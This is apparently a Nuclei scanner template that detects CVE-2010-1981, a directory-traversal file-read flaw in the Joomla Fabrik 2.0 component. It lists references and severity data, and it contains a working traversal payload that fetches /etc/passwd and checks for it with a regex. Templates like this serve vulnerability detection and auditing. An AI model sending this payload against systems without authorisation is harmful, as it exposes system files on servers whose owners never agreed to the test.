id: CVE-2010-1981

info:
  name: Joomla! Component Fabrik 2.0 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Fabrik (com_fabrik) component 2.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12087
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1981
    - http://packetstormsecurity.org/1004-exploits/joomlafabrik-lfi.txt
    - http://www.exploit-db.com/exploits/12087
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57571
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1981
    cwe-id: CWE-22
    epss-score: 0.11864
    epss-percentile: 0.95676
    cpe: cpe:2.3:a:fabrikar:fabrik:2.0:*:*:*:*:joomla\!:*:*
  metadata:
    max-request: 1
    vendor: fabrikar
    product: fabrik
    framework: joomla\!
  tags: cve,cve2010,joomla,lfi,edb,packetstorm,fabrikar,joomla\!,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_fabrik&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100931d6ac4aeff229867aeb0f47d834657a4693f9ff9128d269fc4905619d04562022100d6e32bc8833404d6db2754a8aaf2bff592a9afc643a67839ef2c2a2c8cbfa13a:922c64590222798bb761d5b6d8e72950